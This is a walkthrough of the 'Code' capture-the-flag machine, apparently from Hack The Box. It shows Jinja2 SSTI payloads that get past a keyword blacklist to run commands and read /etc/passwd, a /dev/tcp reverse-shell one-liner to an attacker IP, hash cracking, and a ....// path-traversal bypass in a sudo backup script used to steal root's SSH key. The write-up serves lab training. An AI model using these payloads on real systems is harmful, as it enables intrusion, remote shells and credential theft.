Machine Information Table#
Field | Details |
---|---|
Machine Name | Code |
Operating System | Linux |
Difficulty | Easy |
Release Date | 22 Mar 2025 |
Creators | FisMatHack |
Introduction#
For Code machine the initial foothold is gained by exploiting a Server-Side Template Injection (SSTI) vulnerability in a Flask web application that functions as a Python code editor. From there, we pivot to a user account by cracking a password hash found in a local database. Finally, privilege escalation to root is achieved by exploiting a path traversal vulnerability in a custom backup script that can be run with sudo.
Enumeration#
Network Scanning#
As with any engagement, the first step is to perform a thorough port scan to identify open ports and running services.
# Nmap 7.95 scan initiated Fri Jul 4 20:47:57 2025 as: /usr/lib/nmap/nmap --privileged -Pn -sC -sV -p- -oN nmap-full-tcp 10.129.231.240
Nmap scan report for 10.129.231.240
Host is up (0.036s latency).
Not shown: 65464 closed tcp ports (reset), 69 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 4 20:48:48 2025 -- 1 IP address (1 host up) scanned in 50.87 seconds
Results:
- Port 22: OpenSSH is running, providing a potential entry point if we find credentials.
- Port 5000: A web server running Gunicorn 20.0.4 is hosting a “Python Code Editor.” This is our primary attack surface.
Initial foothold#
Web Application Analysis - Server-Side Template Injection (SSTI)#
Navigating to port 5000 of machine reveals a web application that allows users to execute Python code. However, attempting to use common libraries or keywords for remote code execution (like import, os, system, eval, globals) results in an error, indicating a blacklist is in place.
Browser tools like Wappalyzer revealed the site was built with the Flask framework. This is a strong indicator that the application might be vulnerable to Server-Side Template Injection (SSTI), as Flask uses the Jinja2 template engine.
My goal was to achieve Remote Code Execution (RCE). A standard Flask SSTI payload to access underlying OS functions is:
request.application.__globals__['os'].popen('{cmd}').read()
However, the keyword globals was blocked. The next step is to find a way to access powerful functions without using blacklisted keywords. In Python, we can achieve this by accessing the base object class and then listing all of its subclasses to find something useful, like below:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
For this to work index should be known for popen.
The following payload allows us to find the index of the subprocess.Popen class, which is essential for command execution.
This code iterates through all subclasses and prints the index number for each one.
With the index found (in this case, it was 317), I could now craft a payload to execute arbitrary commands by calling the class directly via its index. Like that:
{{''.__class__.__mro__[1].__subclasses__()[317]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}
Gaining a Shell#
With confirmed RCE, the next objective was to establish a stable reverse shell. Direct execution of a reverse shell one-liner can sometimes fail due to character restrictions or instability. A more reliable method is to host a shell script on my attacker machine and use the SSTI vulnerability to download and execute it on the target.
bash -c '0<&144-;exec 144<>/dev/tcp/10.10.14.240/1337;sh <&144 >&144 2>&144'
Use the SSTI vulnerability with wget to download the script to the /tmp directory on the target machine:
Make the script executable with chmod and finally start the netcat on attacker side and run the script.
This provided a reverse shell as the www-data user.
User pivot to martin#
After gaining initial access, I began enumerating the system as www-data. In the /var/www/app/ directory, I discovered a SQLite database file. Inspecting this database revealed a users table containing a username martin and what appeared to be a password hash.
Using a tool like John the Ripper with the popular rockyou.txt wordlist, I was able to crack the hash.
With the martin’s credentials, I successfully logged in via SSH, gaining access to the martin user account.
Privilege Escalation#
Sudo Analysis#
Once logged in as martin, the first step was to check for sudo privileges.
The output showed that martin could run the script /usr/bin/backy.sh as root without a password. Analyzing the script was the next logical step.
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
The script is designed to create backups based on a .json configuration file. Crucially, it attempts to prevent path traversal by simply removing all occurrences of ../ from the input. This is a classic, flawed security measure.
I found inside /home/marting/backups the task.json with this configuration.
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
Exploiting Path Traversal#
The script’s gsub function replaces ../ with an empty string. This can be bypassed by supplying a string like ….//, which, after the filter is applied, becomes ../ This allows us to traverse the filesystem and access restricted directories.
My plan was to create a malicious task.json file that would:
- Use the path traversal bypass to target the /root directory for backup.
- Set the backup destination to a folder I control, like /home/martin/.
- Remove the exclude rule to ensure hidden files (like .ssh/id_rsa) are included in the archive.
I created the following task.json file:
Next, I executed the backup script with sudo, pointing it to my malicious configuration file.
The script ran successfully, creating a .tar.gz archive containing the contents of /root. After extracting the archive, I found the root user’s private SSH key in root/.ssh/id_rsa.
With this key, I was able to log in as the root user via SSH and gain full control of the machine.
Post-Exploitation Analysis#
Attack Path Summary#
The attack path for this machine involved multiple stages, starting with web application exploitation and ending with a privilege escalation based on a flawed script.
Web SSTI → Reverse Shell (www-data) → SQLite DB → Password Cracking → SSH (martin) → Sudo Script Path Traversal → Root SSH Key → SSH (root)